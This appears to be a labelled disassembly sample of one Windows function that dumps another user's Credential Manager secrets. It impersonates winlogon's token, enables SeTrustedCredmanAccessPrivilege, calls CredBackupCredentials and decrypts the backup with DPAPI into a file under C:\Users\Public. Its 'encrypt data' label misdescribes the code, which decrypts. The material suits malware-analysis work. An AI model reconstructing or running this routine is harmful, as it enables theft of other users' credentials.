Function at 0x140001300
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r14d, r14d
mov dword [rsp + 0x40], r14d
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001986
lea rdx, str.CredBackupCredentials
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x140001376
lea rcx, str.not_here_n
jmp 0x14000198d
lea rcx, str.opening_winlog_in_process_n
call fcn.140001020
xor edx, edx
mov ecx, 0x1000
mov r8d, 0x5ac
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400013b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Open_winlogin_process_handle_failed___d_n
call fcn.140001020
jmp 0x140001992
lea rcx, str.opening_winlogin_token_n
call fcn.140001020
mov qword [rsp + 0x70], r14
lea r8, [rsp + 0x70]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001970
cmp qword [rsp + 0x70], r14
je 0x140001970
lea rcx, str.duplicating_winlogin_token_n
call fcn.140001020
mov qword [rsp + 0x68], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14000195a
cmp qword [rsp + 0x68], r14
je 0x14000195a
mov qword [rbp - 0x58], r14
lea r8, [rbp - 0x58]
lea rdx, str.SeTrustedCredmanAccessPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140001470
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_lookup_the_privilege_value._Error:_0x_x_n
call fcn.140001020
jmp 0x140001992
mov dword [rbp - 0x50], 1
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], 2
lea rcx, str.Enabling_SeTrustedCredmanAccessPrivilege_to_duplicate_token_n
call fcn.140001020
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rbp - 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400014d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges_failed__d_n
call fcn.140001020
jmp 0x140001992
lea rcx, str.Getting_user_process_n
call fcn.140001020
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0xccc
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001510
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.couldnt_get_user_process_handle__d_n
call fcn.140001020
jmp 0x140001992
lea rcx, str.Getting_user_token_n
call fcn.140001020
mov qword [rsp + 0x78], r14
lea r8, [rsp + 0x78]
mov edx, 0xf01ff
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001944
cmp qword [rsp + 0x78], r14
je 0x140001944
lea rcx, str.impersonating_winlogin_n
call fcn.140001020
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14000157b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ImpersonateLoggedOnUser_failed___d_n
call fcn.140001020
jmp 0x140001992
lea rcx, str.creating_cred_backup_for_user_n
call fcn.140001020
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140004838]
mov rcx, qword [rsp + 0x78]
call rsi
test eax, eax
jne 0x1400015bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CredBackupCredentials_failed___d_n
call fcn.140001020
jmp 0x140001992
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
lea r15, [0x140000000]
lea rax, [r15 + 0x49d8]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xcc], edx
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xe0], rsi
mov byte [rbp + 0x15c], 0
mov byte [rbp + 0x151], 0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x160], r14
mov rax, qword [0x140008978]
mov qword [rbp + 0x154], rax
mov qword [rbp + 0x148], r14
mov r8d, 0x25
lea rdx, str.c:userspublic_temp.bin
lea rcx, [rbp + 0xe0]
call fcn.140002a60
test rax, rax
jne 0x1400016e9
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rbx, qword [rax + 8]
add rbx, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov ecx, ebx
mov dword [rbp - 0x80], ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x78], rax
mov r8d, dword [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x70], r14
lea rcx, str.decrypting_data_n
call fcn.140001020
lea rax, [rbp - 0x68]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x80]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x140001789
lea rbx, str.CredBackupCredentials_failed___d_n
jmp 0x1400017a6
lea rcx, str.reverting_back_to_self_n
call fcn.140001020
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
test eax, eax
jne 0x1400017bb
lea rbx, str.RevertToSelf_failed___d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001020
jmp 0x140001936
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [r15 + 0x49d0]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov qword [rbp - 0x38], rsi
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x39], 0
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x48], r14
mov rax, qword [0x140008978]
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x30], r14
mov r8d, 2
lea rdx, str.c:userspublicexample.bin
lea rcx, [rbp - 0x38]
call fcn.140002a60
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
je 0x140001899
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400018a7
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8d, dword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.1400029b0
test rax, rax
jne 0x1400018e3
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400018f2
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000190b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000191b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000192c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x40]
call fcn.140001a80
nop
lea rcx, [rbp + 0xd0]
call fcn.1400019c0
jmp 0x140001992
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.opening_current_user_token_failed___d_n
call fcn.140001020
jmp 0x140001992
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.duplicate_winlogin_process_token_failed___d_n
call fcn.140001020
jmp 0x140001992
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Open_winlogin_process_token_handle_failed___d_n
call fcn.140001020
jmp 0x140001992
lea rcx, str.advapi32.dll_not_loaded...TODO_n
call fcn.140001020
xor eax, eax
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140002ea0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret